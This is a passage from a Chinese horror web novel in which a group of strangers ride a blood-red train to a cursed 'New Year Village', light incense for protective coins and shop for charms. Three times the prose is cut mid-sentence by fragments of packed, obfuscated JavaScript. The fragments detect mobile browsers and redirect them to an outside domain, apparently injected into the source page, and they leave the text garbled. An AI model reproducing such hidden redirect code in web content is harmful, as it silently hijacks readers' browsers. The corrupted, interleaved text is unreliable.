她似乎受到了什么刺激,瞪着眼珠走到早已经凉透的胖子身边,静静地注视着他,随即像是疯了般发出癫狂的笑,嘴里喃喃:“你终于死了,哈哈哈哈哈哈,终于死了!” 枯瘦的女人就站在那里,笑着,笑着,直到笑到喉咙里再发不出声音。 她不笑了,僵硬地扭过头,盯着粉馆旁的木门静静看了会儿,随后伸出手,抓住了胖子的脚,而后拖着胖子一步一步的朝木门走去。 她进了屋,把胖子挂在了屋里的铁钩上后,走到了一个石板前,霍霍磨起了生锈的铁刀。 【纪氏土猪】——门匾上亮起了红彤彤的文字。 又一个新店开张了。 粉馆老板似乎早已习惯,他躺在一个摇椅上,脸上盖着蒲扇,睡得香沉。 只是不知道他梦到了什么,忽地浑身一震,蒲扇从脸上掉了下来,他整个人从椅子上坐起,脸上写满了疑惑。 “我这脑子嘿,搞乱了搞乱了,咋又记得那小伙之前给了钱勒,哎哟,到底给没给我钱哟!” 一声疑问响彻候车大厅,却已无人回应。 ` ` ` ` 高铁站外寒风凌冽,皑皑白雪覆盖整个大地,一辆通体血红的列车停在茫茫雪地里,宛若沁上的一滴不起眼的血珠,列车下不见铁轨,看着不像是能发车的样子。 奚元四人看着眼前怪异的列车看了良久,谁都没说话,直到女乘务员过来,指引着他们上了最后一节车厢。 列车门关了,周格这才颓然地找了个椅子坐下,过检票口时的兴奋没有了,他像是最后一点希望破灭般发出凄凉的哭腔:“果然,这不是回家的车。” 褚翊、张跳跳没出声。 奚元也没出声。 自候车大厅那一遭,谁都希望自己只是短暂的撞了邪,过了还能继续回家,但只要脑子稍微清醒的或多或少都能察觉得到,进了候车大厅,大概率是回不了家了。 奚元找了个靠窗的椅子坐下,他平静地注视着窗外飞扬的雪花,心情沉到了谷底,大雪叫人迷失方向,前方是一条不归路。 “你还好吧。” 肩膀搭上了一只手,坐他身旁的褚翊忽然对他说。 奚元收回了视线,勉强地笑笑:“早有心理准备了,还行吧。” 褚翊收回了手:“早有心理准备……是因为我吗?” 奚元这回是真笑了:“你不觉得你跟张跳跳的某些行为真挺明显的吗?” 褚翊整个人靠在椅背上:“那倒不觉得。” 不觉得个屁。 奚元觉得褚翊这人嘴里十句有五句不靠谱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835561|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “有哪些地方明显了。”褚翊继续追问,“说来听听。” 奚元:“那可多了去了。比如第一眼看到那红包里的铜钱,你那表情就跟见了鬼似的,一点儿都不觉得好奇,一看就不是第一次看到这东西。” 褚翊:“哦~” 奚元:“还有你手上一直拿着的那瓶水,我亲眼看到你把它给了胖子,里面还放了个铜钱,张跳跳说进出高铁站只有新人才免车票,你要是个新人,你的铜钱从哪儿来的?如果这里不只有新人,那些所谓的‘旧人’想必已经在这儿待了很长一段时间。” 褚翊:“嗯~” 奚元:“你给胖子的水也不是什么矿泉水,而是荷花水吧。那年画里种了荷花的池塘被下了降头,你知道张奇明讨厌荷花,所以你就搞来荷花水,又拿出铜钱,不知道用的什么办法镇住了胖子,还用同样的办法让便利店里坐着的那几个也消停了,我说的对不对?” 褚翊点点头:“全对。” 顿了顿,他又道:“难怪。” “难怪什么?” 褚翊偏头看奚元,两人视线距离一下变得很近:“难怪你那么大胆子跟着张奇明进去,原来是知道我把外面清理干净了啊。” 褚翊的头又往旁边靠了靠,眼中闪过奇异的光:“就这么信任我么?” “那是我对个人判断的自信!”奚元说完这句,就从褚翊身上移开了视线,整个人背向褚翊,手撑着下巴看向了窗外。 不知道为什么,奚元总有种感觉,感觉褚翊看他的眼神充满着打量,就好像……在急于确认些什么东西。 这种打量,让奚元莫名不爽。 褚翊他到底在确认什么?是什么事?还是……什么人? 列车终于开了,扬起了一地的积雪,纷飞的雪花挡住了玻璃窗的视线,外面的风景再也无法看清。 奚元却依旧盯着窗外看着。 “褚翊。”他叫了一声。 褚翊:“嗯?” “你去候车大厅是干嘛的?” “当指引员,挑一个新人指引他进村。” “挑一个新人?你是挑了我吗?” “没错。” “哟,荣幸。你看上了我哪一点啊?” “不知道,感觉。” “感觉啊?这理由可真含糊。”奚元的语气颇有些诧异,“我还以为是看上了我的逆天帅脸和聪明才智呢。” 褚翊:…… “那作为指引员,如果我遇到危险,你会救我的命吗?” 褚翊想了想,如实说:“不见得。” 奚元略有些失望的啊了声:“好吧,看来指引员也没什么用嘛。” 顿了顿,他又说:“但不管怎样,我肯定不会丢下你一个人跑的。” 他终于转过头去,看着褚翊:“选我,你肯定错不了。” 话题一转,他又问道:“所以,你现在可以告诉我这趟列车是去哪儿的了吧?” “我早就告诉过你了。”褚翊的声音依旧平淡,好似荒无人烟里只能被自己听到的落寞回响,“一个被困在热闹春节的荒凉地,福祉没有庇佑到的沼泽谭,我的故乡——新年村。” 叮咚—— 列车的广播响起,搅动了列车里微凉的气息。 【亲爱的旅客你们好,本次列车的终点站:新年村。村中春节即将开始,特色风俗叫人‘流连忘返’,诚邀诸位前来体验,过个‘好年’。】 19. 列车 列车还在向前,车厢里却噤若寒蝉。 什么“特色风俗”,什么“流连忘返”,只怕是“特色鬼故事”,“一去不返”。 此时此刻再听到这种几近荒唐的通知,奚元与周格二人已经能坦然接受,他们只是忧心忡忡地望着窗外的冰天雪地,仿佛看到了自己冷冰冰的未来。 “嗨,你们也别太担心了,还是让我先给你们讲一下吧。”张跳跳咂摸了一下车厢里凝重的气氛,有些尴尬地摸了摸鼻头,随后起身准备说点什么。 哪知这时候正前面的车厢门开了,从另外一截车厢里走过来一人,定睛一看,那人不是候车大厅里一直神智不清的疯子么? 奚元褚翊齐齐朝那疯子望去,周格也满是疑惑的看了过去,张跳跳愣在了原地,有些没明白怎么莫名其妙多了个人出来。 “我是被乘务员安排过来的,说是你们这节车厢有空坐。”只听疯子说。 他说话语调平稳冰冷、眼神冷漠如霜,完全没了在候车大厅里的疯劲儿。 只见他找了个车厢里最角落的位置坐下,说了声:“我叫宇私,庙宇的宇,大公无私的私。”顿了顿,他又一指愣神的张跳跳:“继续说啊,愣在那儿干什么?” 随后他就整个人往后一仰,大棉衣帽子往下一拉,躺在椅子上美美的睡下了。 “欸不是!”张跳跳突然就咂摸回了味儿,冲上去就要把宇私提溜起来,“你谁啊?刚什么态度你。” 周格赶紧把他给拦下,圆滑地打着圆场:“好了好了,别计较别计较,大家都是倒霉蛋,计较啥呀。” 他向张跳跳使了个眼色,张跳跳很快会意,瞥了一眼纹丝不动的宇私后,两人朝奚元褚翊走去。 奚元侧身打量了宇私一番,等张跳跳周格过来后,他转回身体坐正,看向褚翊:“褚翊,我记得之前你说过那人是不是真疯还不一定,所以他在候车大厅是一直都在装疯?” 褚翊抬起修长的腿翘起了二郎腿,声音压低了许多:“显而易见是的,惯常的保命手段罢了,正常,但就是容易让人瞧不起。” “瞧不起?为什么?” “因为装疯卖傻只会出现在以下几种情况,其一,此人已知道邪祟是谁,但为了防止邪祟杀人灭口,他选择装疯卖傻以告诉邪祟他会守口如瓶;其二,他已经知道了出去的办法,但想掩人耳目,不想被其他累赘拖了他的后腿;其三,或许他也没有办法出去,但却也不主动说出自己知道的线索,很有可能是因为他推测这局困难重重,很可能过不了,如果过不了,那就谁都不要好过。” 说完,褚翊扭过头,看向了宇私,眼睛微眯:“这种人,自私自利,通常不被人信任。” 张跳跳还想着宇私那颐指气使的语气,顿时气不打一处来:“我看也不是什么乘务员安排他过来的,肯定是别人也看不惯他,把他给赶过来的。” 周格听完也有点儿气了:“这么恶心,那我们也赶他走吧。” “就让他待那儿吧,车厢的门只能由前往后开,没地儿赶他了。”褚翊收回视线,看向张跳跳,“张跳跳,你继续。” 张跳跳错愕:“继续什么?” 顿了顿,她恍然大悟:“哦哦,我还是先给你们讲讲新年村吧。” 奚元坐正了些。 “所谓新年村,顾名思义,就是一直在过春节的村子,但——”张跳跳眼中闪过一丝痛楚,“不是你们印象中的过春节。” “这里的春节,是被恶意诅咒过的,就像你们在候车大厅经历过的一样,有很多常理无法解释的地方。” “我们不知道这村子的由来,这村子里的村民也不知道自己为什么会出现在这里,我们也很少有时间想这些,因为大多数时候,我们都在疲于奔命。” 奚元想了想,问:“像候车大厅那种情况,一般是怎么出现的?” “当有人最想要得到的东西未能得到的时候,就会出现。” 褚翊的声音响起。 奚元没太听明白:“这是……什么意思?” 褚翊:“意思便是当我们被困在某个情景中时,就意味着有邪祟在背后操控,而邪祟源自于执念,执念则源自于新年村的每一个村民。” 奚元摸了摸下巴:“也就是说……在新年村,我们既可能是村民,也可能会在某一瞬间成为索人性命的邪祟?” 褚翊张跳跳二人双双点头,周格倒吸了一口冷气。 张跳跳继续说:“新年村里流行三不原则,为活不长,走不出,死不透。活着的煎熬,死了的被当成了邪祟的养料,如此往复循环,唯一保命的只有一个——压祟钱,压的不是年岁,而是邪祟。” 奚元:“这压祟钱怎么获得?” 张跳跳看了看奚元周格二人:“这个说来话长,你们到站了就知道了。” 奚元垂下了眉眼,他把手揣进兜里,摸了摸那几枚凭空得来的铜钱,终究是没有拿出来。 这些铜钱的存在,还是暂时先只让褚翊知道为好。 但到底谁会在高铁站外给他压祟钱呢…… “那等列车到站,我们的好日子是不是就到头了,那邪祟……”周格慌张的声音打断了奚元的思绪。 奚元听见张跳跳回答说:“不,列车会先把我们带到新年村里为数不多的清净的地方,我们称其为——上香地。” “上香地?”奚元不解。 张跳跳:“就跟过年祭拜祖先要插蜡上香一样,在新年村,只有能点上香的地方才是相对安全的,你们的压祟钱到时候也会在上香地拿到,总之在那儿,我们能稍微松快松快。” “哦。”奚元点点头。 张跳跳说完,脸色却是闪过片刻生硬,她心想:只不过这所谓的上香地,还不知道能维持多久。 张跳跳忍不住心中哀叹,却是没将这话说出口。 又聊了会儿其他的后,张跳跳周格二人重新坐回了自己的位置,因着刚才的聊天,周格心情似乎放松了些,又叽叽喳喳的跟张跳跳唠起了嗑,把张跳跳烦的不行。 奚元也想找褚翊唠嗑,他心里憋了很多事儿很想找褚翊一吐为快,但这会儿褚翊睡着了,他不得不一个人闷坐在椅子上。 其实在候车大厅里还有些事他一直没弄明白。 比如在暗室里,张奇明有说过他是“半只鬼”。半只鬼是什么意思?是在告诉他很快就要死在他的刀下了吗?不,总觉得很奇怪,张奇明要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835562|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表达的似乎不是这个意思。 还有出检票口前粉馆老板说的那些话,他跟褚翊吃粉不过十几分钟,粉馆老板怎么就记错了到底谁付的钱了呢?记错也就算了,这么小的事为什么又在过了好几天之后回忆起来自己记错了? 再就是他身上的这五枚铜钱…… 总觉得……自己能进来这里不是巧合。 无轨的列车开了好几个小时,终于在天完全黑下来的时候停了下来。 列车外的雪景不见了,变成了一望无际的黑,黑夜让人绝望,前面的车厢里这会儿传来了此起彼伏的尖叫和哭泣声。 奚元深吸了一口气,时至今日他还是忍不住想,真是有够倒霉的。 坐他旁边的褚翊倒是睡得很沉,奚元注视着褚翊,一边对褚翊的那张帅脸表示惊叹,一边又佩服褚翊的胆子,还一边伸出手,准备摇醒褚翊。 “褚翊,喂,醒醒,到站了。” 褚翊像是做了什么噩梦,眉头倏地皱得很深。 “喂,褚翊,你没事儿吧,褚——” 啪—— 褚翊猛地握住了奚元的手,那力道很大,几乎要把奚元的骨头给捏爆了。 随即他喃喃了声。 奚元隔得近,他听的很清楚,褚翊是叫了他一声。 手臂被捏的生疼,奚元有些恼火,他甩了几下自己的手杆子,没甩掉褚翊的手:“嘶,手跟个钳子似的……你叫我干嘛?喂!你到底醒了没——” 忽地,车厢里的灯灭了。 列车里的惊叫哭喊声越发大了,连周格都忍不住嚎了两嗓子,嚎第三下的时候突然就没了音,估计是被张跳跳给打回去了。 “搞什么,车厢里的灯也灭!”奚元当即也抱怨了句,抱怨完他就梗着脖子一动没敢动。 也就是在这时,奚元只感觉手上的力道一松,随即身侧传来悉悉索索的声音。 “你醒了?”奚元揉了揉手杆,说。 “嗯。”褚翊有些沙哑的应了声。 “你刚梦到什么了,使这么大劲儿?” “……忘了。” “啊?刚醒就忘了啊?” “嗯,忘了。” 不知是不是自己的错觉,奚元听着褚翊的话,隐隐约约似乎听出了些许的落寞。 为什么会落寞呢?就因为一个梦? 嘀——嘀——嘀—— 这时列车上传来声音,听着像是列车门开了的声音。 奚元听到褚翊说:“开门了。” 奚元点点头,应了声:“是啊。” 褚翊:“该去上香地了。” 奚元:“这黑灯瞎火的,怎么去?” 褚翊:“自然是由指引员带着去。” 呼—— 列车外呼号的阴风打在车厢玻璃上,发出入鬼泣一般瘆人的惨叫,呜咽哀转,诉说着前路的艰辛。 奚元忍不住打了个哆嗦,紧接着,他就感觉到有什么东西碰到了他的手。 那是褚翊的手,褚翊的手很冷,冰冷刺骨。 “奚元。”褚翊用他一贯平静淡然的语调唤了一声奚元的名字,“我是你的指引员,接下来的路请牵好我,别松手。” 20. 上香 褚翊边说着边握紧了奚元的手。 奚元先是有些不自在的一愣,犹豫了一下,还是回握了回去,他感受到褚翊的手掌中躺着一枚压祟钱以及褚翊那分明的骨骼。 张跳跳周格二人也互相牵起了手,周格似乎还有点儿不好意思,他嘿嘿两声,还说了句:“那就冒犯了嗷。” 至于那宇私则是一个人跟在后面。 五人前后出了列车车厢。 车厢外果真是黑的伸手不见五指,奚元才刚踏出去,再往回望时就已经看不到载他们来的列车了,就连嘈杂的乘客们也都不见了踪影,没有一点动静。 眼前只剩下一片虚无。 “不要四处张望。”耳边忽然传来褚翊的声音,褚翊应该是低头附在他耳边说的,因为褚翊的卷发挠的他耳尖有些发痒。 “闭上眼睛,只管跟着我走。”褚翊继续说。 “哦,行。”奚元不再张望了,他下意识地靠褚翊更近了些,他觉得褚翊有种让人安心的魔力。 在褚翊的带领下,五人走得很顺利,四周万籁俱寂,只听得见五对小心翼翼的脚步声。 走着走着,奚元忽然想到什么,犹豫了两下后,他用食指点了点褚翊的手背,叫了褚翊一声:“褚翊。” “嗯?”褚翊很快回应。 “这么黑的地方,你看得清吗?” “……” 短暂的沉默后,褚翊才回道:“看得清。” 奚元:“……哦。” 他表面平静,心中却是“我擦!” 如果这么黑褚翊都看得清,那之前在暗室能见度比这儿还高的时候他岂不是看得一清二楚了? 仿若惊涛骇浪,万马奔腾。 褚翊当时还骗他说看不清!!! 他全身上下光溜溜一片!!!全给褚翊看光了!!!! 得知真相的奚元面如死灰,就连牵褚翊的手都像是变了个味儿。 奚元就这么有气无力的被牵了一路,也不知道走了多久,褚翊终于停下了,其他四人也跟着停下。 “是到了吗?”身后的周格问了句。 褚翊回:“嗯。” 随即奚元就感觉褚翊蹲了下去,褚翊牵着他的手没松,他也被带着半蹲了下来。 褚翊在地上摸索了会儿,过了几分钟后,他分别递给了奚元四人一样东西。 奚元接过摸了下,发现是根香。 “拿着香甩一甩。”只听褚翊说。 奚元跟着照做,很快香上出现了火星,一股白烟瓢了起来,紧接着,奚元就感觉自己好像能看见一些东西了,比如眼前的褚翊,他看见褚翊把那根香半垂在腿边,一双深邃厚重的眼睛却是在看着他。 “能看见了吗?”褚翊凝视着奚元的眼神问。 “嗯?哦哦,勉强能看见了。” 奚元居然有片刻的失神,连说话都结巴了,要怪就怪褚翊那双眼睛,真是好看的要把人魂都给勾了。 他匆匆撇开视线,看向了旁边的周格。 周格跟张跳跳手上的香也点燃了,张跳跳在给周格讲些什么,奚元眼尖的发现,周格跟张跳跳两人的手已经没有牵在一块儿了。 那为什么……褚翊还没有要松开他手的意思? 奚元眉头微皱,看向了褚翊和他仍旧紧紧牵着的手,心想:褚翊是忘了吗? 他刚想开口提醒,张跳跳的声音传来。 “我看到香炉了,在那个矮墙上,我们快过去吧!” 张跳跳的话一下就转移了奚元的注意力,他朝张跳跳手指的方向看去,还真看到了一个矮墙和五个香炉。 此时褚翊说:“我们走,上完香就可以结算压祟钱,进上香地了。” “什么……”‘意思’两个字还没问出口,奚元就被褚翊牵着走了过去,在褚翊的指挥下挑了个香炉插上了香。 插到香炉上的香冒出的白烟瞬间盘旋而上,随即叮铃几声脆响,香炉中吐出来几枚铜钱,落在了一旁的矮墙上。 奚元数了数,一共四个,他疑惑地看向褚翊:“这是?” 褚翊:“你的压祟钱,你可以理解为从候车大厅出来后你所获得的报酬。” 奚元觉得挺新奇:“嗬,这儿居然还兴报酬!” 他看了眼其他人的,发现张跳跳有三个,周格有一个,宇私那家伙一个都没吐出来,褚翊那儿也没有,但刚刚他看褚翊在矮墙上摸了一下,想必是已经把吐出来的铜钱收起来了。 “所以这压祟钱到底有什么用?”奚元又问。 褚翊却说:“今天太晚了,先去上香地休息,等明天再告诉你这压祟钱的用途。” 奚元挑了挑眉:“也行。” 几人不再言语,跟着褚翊往上香地走去。 沿着矮墙走了好一阵,出现了一扇门,褚翊牵着奚元推门进去,眼前原本还漆黑一片的地方忽然就多出来一长条挂着红灯笼的房屋,引得周格连呼了几声卧槽。 几人又沿着房子走了一阵,看到了一栋房子前摆了五个香炉。 褚翊、张跳跳、宇私停了下来,奚元跟周格也紧跟着停下。 张跳跳说:“上香地到了,这是我们临时住的房子,进去吧。” 话音刚落,宇私就先大步流星推门走了进去,挑了个最大的房间进去,随后砰的一声,关上了门。 房屋外的四人:“……” 张跳跳翻了个白眼,然后张罗着周格跟奚元两人把五个香炉搬到房间里面,放在了客厅正中间的一张木桌上。 周格故意把放香炉的声音弄得贼响,他看着宇私那间紧闭的房门,没好气的哼哧两声:“你说他这么大气性给谁看呢!” 奚元也没好脸色:“这不摆给我们看呢么。” 顿了顿,他吐出一口浊气:“算了别管他,我们四个看着分房休息吧。” 这房子本来是有三间房,眼下宇私占了一间,剩下就只剩两间,奚元原本是想着三个大男人挤一间,让人女孩子单独一间比较合理,哪知还不等他说话,张跳跳就雷厉风行安排道: “那就我跟周格,奚元跟褚翊吧。” 周格傻眼了,奚元懵逼了。 “什,什么?这……不太方便吧?”周格不好意思的挠了挠头。 张跳跳却说:“没什么不方便的,在这儿睡觉又不脱衣服,随时都准备着有意外情况发生,在这儿男女同住的多了去了,况且我作为你的指引员,第一次必须要跟你待一块儿,同一个房间比较方便。” 顿了顿,张跳跳上下 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褚翊已经完全闭上眼睛,和衣躺下:“当客厅里的香炉熄灭,当你听到第一声怪异的声音的时候。” “那……” “快睡吧,该知道的事迟早都会知道的。” 奚元:“……” 他心中琢磨着:也是,现在担心那么多也没什么用,还不如及时行乐,能好过一时是一时。 想及此,他终于闭了嘴,在褚翊旁边睡下了。 长夜漫漫,奚元背对着褚翊,窗外与现实分毫不像的世界映在他的眼眸,他看着看着,竟是就这么睡着过去。 这一夜,比他想象中的更早入睡。 万籁俱寂时,已经很久没有动静的褚翊忽然翻了个身,面朝奚元的背。 朦胧月光下他的耳坠闪烁着碧绿的光,悄无声息的,他睁开了眼睛,那眼底不见丝毫疲惫,反倒是爬满了疑惑。 寂静深夜里,他紧盯着奚元后脑勺,而后伸出手,手指一点点往上,直到指尖触碰到奚元的发尾。 “奚元,奚元。” “我是不是之前见过你。” —— 奚元一下睡到了日上三竿,昨晚无事发生,今天白天看起来也很正常,等他从房间出来的时候,就看见张跳跳在清点他们的行李。 他都忘了还有行李这回事! “行李谁送过来的?”奚元跑过去找自己的行李箱,“我还以为直接丢列车里了呢。” 张跳跳:“那不能,咱们村的村民就指望着这么点儿行李过活了呢。” 说着她把奚元的行李箱推给他:“喏,你的,推你房间去吧。” 奚元接过行李箱进了房间,又换了身衣服才出来,再出来的时候褚翊也从外面回来了。 他先是瞥见奚元,说了声:“醒了。” 奚元脸上的疲惫一扫而光:“嗯,这一觉睡得可真香。” 褚翊点点头,环顾一圈房间,又问:“周格呢?” 张跳跳背着自己的布包:“还在房间呢。” 褚翊沉声道:“叫上他,咱们得赶紧去一趟小卖部了。” 21. 小卖部 周格是被张跳跳一巴掌给提溜起来的,他昨晚打的地铺,被提溜醒后还一个劲儿的吐苦水,说什么胳膊疼腿疼的,搞得张跳跳又没忍住翻了个白眼。 墨迹了好一会儿四人才出门。 路上奚元也没再当个提问机,因为他大概能猜到褚翊是带他们花压祟钱去的。 上香地果然如张跳跳所说是个能让人松快的地方,走过的黄土路两边热闹得不得了,摆了各种各样的摊儿,有卖包子的,卖粉的,还有卖红棉袄的,大多是吃的和穿的,摊子后面是一长条挂着红灯笼、贴着红对联的房子,房子是木头搭的,就跟他们昨晚住的一样,放眼望去一片喜庆。 如果不是不久前才死了人,奚元还真觉得自己是到了某个古朴的村子了呢。 他们一行四人沿着黄土路走了好一会儿,直到快走到头的时候,奚元终于看到了跟那些低矮的木头房不一样的建筑。 那是一个通体漆黑的楼阁,一共有两层,两层都没见着一个窗户,只看到面前一个大门入口。 “小卖部到了。”只听褚翊说,“进去吧。” 奚元看着比自己老家的农村自建房都高的楼阁:…… 你说这是“小”卖部? 小卖部内。 奚元跟着褚翊转了两圈,只觉得一头雾水。 这小卖部里面虽然大,但里面放的东西种类却并没有很多,除了个人日常要用的衣食的物品外,就只剩下一些跟过年有关的东西。 比如什么鞭炮啊,香蜡啊,纸钱啊什么的,所有东西都一摞一摞的放在那儿,都摞成了一座山。 奚元边观察着边拉住了褚翊:“褚翊,我们进来干嘛来了?” 褚翊停了下来,站在了一口中央:“进来买东西,里面的东西都看完了吗?”他看向奚元周格二人。 奚元不明所以:“看完了啊。” “压祟钱也都带身上的吧?” “带着呢。” 褚翊点点头:“那就快点买吧,也不知道这上香地还能待多久。” 奚元扫了一眼小卖部,有些茫然:“所以……怎么个买法?” 褚翊转了转他耳坠上的环,才说:“这里分两种物品,一种是必需品,这种都是些基本生存能用到的东西,像是我左手边这片区域,衣服干粮什么的可以按需囤点儿,以备邪祟缠身时的不时之需。”他抬起左手,朝旁边指了指。 “另外一种就是防身物品,比如你们看到的鞭炮,香蜡之类的,这些对付邪祟都各自有各自的作用,也是自己看着买,我右手边以及楼上那些都是。”他又抬起右手指了指。 顿了顿,他补充句:“不过我建议你们最好不要买大件,等被村里的东西缠上的时候,轻装上阵才最方便,大件的防身物品在还没保你们的命之前就能把你们给拖死。” 事关个人安危,周格听得极为认真,听到褚翊说完赶忙应和:“好的好的,还有什么吗翊哥。” 褚翊的辈分都被他给叫大了。 褚翊:“……暂时没了,你们……” “等等。” 忽地,奚元叫住褚翊:“喂,褚翊,那上面挂着的木剑也是用来防身的吗?” 只见他抬起手,指向了楼阁最顶端用红绳挂着的一柄桃木剑。 不知为什么,奚元的话音刚落,褚翊与张跳跳两人的脸色明显一沉。 “它?呵。”褚翊的声音低了好几个度,“没有人会买那把剑的,不用看了。” 奚元周格二人不解,齐道:“为什么?” “总之别看。”褚翊并不想多说,只见他扬了扬手,说了声屋里会和后就离开了小卖部。 奚元张跳跳周格三人愣在原地。 “……所以褚翊这火急火燎的是干什么去了?他不用在小卖部买东西么?”奚元看着小卖部门口,问道。 “可能他想要的东西都已经有了吧,至于他干什么去了……”张跳跳耸了耸肩,“那谁知道,他好像一直就这样。” 奚元惊讶:“连你也不知道?” 张跳跳眼睛一睁:“我怎么知道?!” 周格也惊住了:“你咋会不知道?你不是跟褚翊一伙儿的吗?” 张跳跳哈了声,哭笑不得:“你们到底怎么看出我跟褚翊是一伙儿的?我只不过是之前的一次邪祟之事跟他一起过,我记得他,他估计都不记得我。” 顿了顿,她补充句:“想要记不住褚翊属实有点难,只要是跟他一起过的人都知道,他有多厉害,只不过他太独来独往了,不爱与人打交道,跟谁交情都不深。” “不过……” 正说着,她忽然顿住,颇有些打量意味的看向了奚元:“他好像跟你还挺合得来的。” 奚元一愣:“我们这就叫合得来了啊?” 印象里褚翊都没跟他多说过几句话,大多数时候都是他先挑起话题,褚翊不得不接他的话茬。 如果这都算合得来,那也就可以想象褚翊平日里是有多独来独往了。 “那当然!”张跳跳回答的很是肯定,“村里的人从来没见过褚翊当过什么指引员,你还是头一份儿,你说这是不是合的来?” 奚元当即啊了声,这他还真没想到,褚翊之前居然没做过指引员! 他觉得有股说不出的古怪,不由得想,褚翊到底是看中他哪一点了呢,让一个这么独的人愿意做他的指引员? 张跳跳挥了挥手,示意三人边走边说。 张跳跳:“还有一点你有没有发现?” 奚元:“发现什么?” “在候车大厅的时候,褚翊老对着你笑。” 周格:“这我可以作证,确实。” 奚元:“……这,好吧,所以怎么了吗?” 张跳跳的经典白眼又是一翻:“还怎么了,我之前跟着褚翊那么长一段时间,从来没见褚翊笑过一次!” 奚元:“……” 几人说着闲话把小卖部逛了个遍,有着熟客张跳跳帮忙做指导,他们的采购进程快了不止一倍。 两个小时后几人在大厅集合。 张跳跳买了些东西,用一个塑料袋提着,周格却是一个没买,据他说是身上铜板太少了,他现在还不想用。 奚元也几乎什么都没买,就买了些吃的当干粮,张跳跳都惊了,这俩新村民到底是怎么想的,知道以后有的是危险竟然还不多买点东西防身! 但奚元觉得没必要,一个是张跳跳说这里用来防身的东西只有在知道邪祟是谁之后用在邪祟身上才有用,如果像候车大厅那样到最后都找不到邪祟,那些东西带在身上就是累赘,与其依靠这些东西,还不如靠自己的脑子。 二个是他直觉身上的铜钱应该攒着,往后可能会有更大的用途。 但他不知道自己为什么会有这种直觉…… 忽地,奚元想起了小卖部正中央屋顶上挂着的那把桃木剑,下意识的抬头看去。 “那把桃木剑的功能是什么?”他忽然问。 张跳跳先是“嗯?”了一声,而后说:“你怎么突然问起这个了?” 奚元仰着头,看的专注:“就是好奇。” 张跳跳:“嗨,没什么可值得好奇的,那剑是用来杀邪祟的,据说在那剑上缠满铜钱后就可以杀死我们这儿的邪祟之首——祟鬼,获得一线离开这里的生机。” “那剑可以杀祟鬼!甚至还可以帮我们出去!”周格当即震惊。 要知道刚才张跳跳给他们介绍了一圈小卖部里的防身物,都是只能吓退或者弄伤邪祟,可以杀死邪祟的他可是第一次听到,想要离开这里的欲望让他顿时对那把剑心醉魂迷。 不光周格震惊,奚元也震惊,所以为什么这东西能杀邪祟褚翊却说没有人会买它呢? 张跳跳打量奚元周格两眼:“怎么,这就心动了?” 奚元心没心动不知道,反正周格这会儿两眼直放光。 张跳跳当即给了他一个大脑嘣儿:“我劝你还是收起这心思,你知道你用那把剑杀了祟鬼,之后会发生什么吗?” “发生什么?” “旧灭新生,替而代之。你将代替那祟鬼,在这新年村里永生不灭,浑噩不尽。” …… 周格渴望的眼神瞬间耷拉下来,整个人偃旗息鼓:“敢情伤敌八百,自损一千啊,那这东西有屁用?” 张跳跳:“就是因为太过鸡肋,所以很少有人在意这玩意儿,偶尔遇到几个脑子缺根筋的买了去用,最后都凉了。” 奚元眉头微皱:“既然这东西毫无用处,为什么还会出现在小卖部里?” “唔。”张跳跳想了想,道:“其实关于这把剑一直流传着一句话,叫什么……‘混沌杀死混沌,压祟唤是压岁’,可能这句话里藏着桃木剑的正确用法吧。不过这话怪绕口的,反正我是没琢磨明白的。” 奚元点点头,神色沉了下来,没再言语。 周格这会儿兴致缺缺,想走了,三人便打算回屋去。 临走时,奚元回过头,最后忘了一眼那把桃木剑,剑上红色漆釉在日光照射下油光发亮。 混沌杀死混沌,压祟唤是压岁。 奚元心中喃喃。 他最终还是收回视线,离开了小卖部。 回到小屋的几人度过了一个还算轻松的下午,奚元拉着张跳跳玩了会儿数独,但张跳跳压根儿对这个不感兴趣,不一会儿两人就分道扬镳,各自忙各自的去了,周格则是又回去睡了个回笼觉,他好像怎么也睡不够。 至于褚翊,褚翊不知道忙什么去了,一直没回来,直到上香地里再次入夜,褚翊才再次出现。 褚翊推门而入的时候,奚元正坐在床上摆弄着他的机器人闹钟,听见响动,奚元下意识抬头,问了句:“你怎么现在才回来?” 褚翊关了门,含糊的应了声:“有事。” 奚元没再刨根问底,他重新低下头,继续摆弄起了机器人闹钟。 “你在做什么?”褚翊走过去坐在床边,问。 奚元做的认真,头也没抬:“修东西,这闹钟响不了,也不知道怎么回事。” 说着他举起来,给褚翊演示了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835564|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍:“喏,我现在调个一分钟后的闹钟,你看,一分钟到了它也不提醒,也不知道坏哪儿了。” 说着他又把机器人闹钟给拆了,重新捣鼓起来。 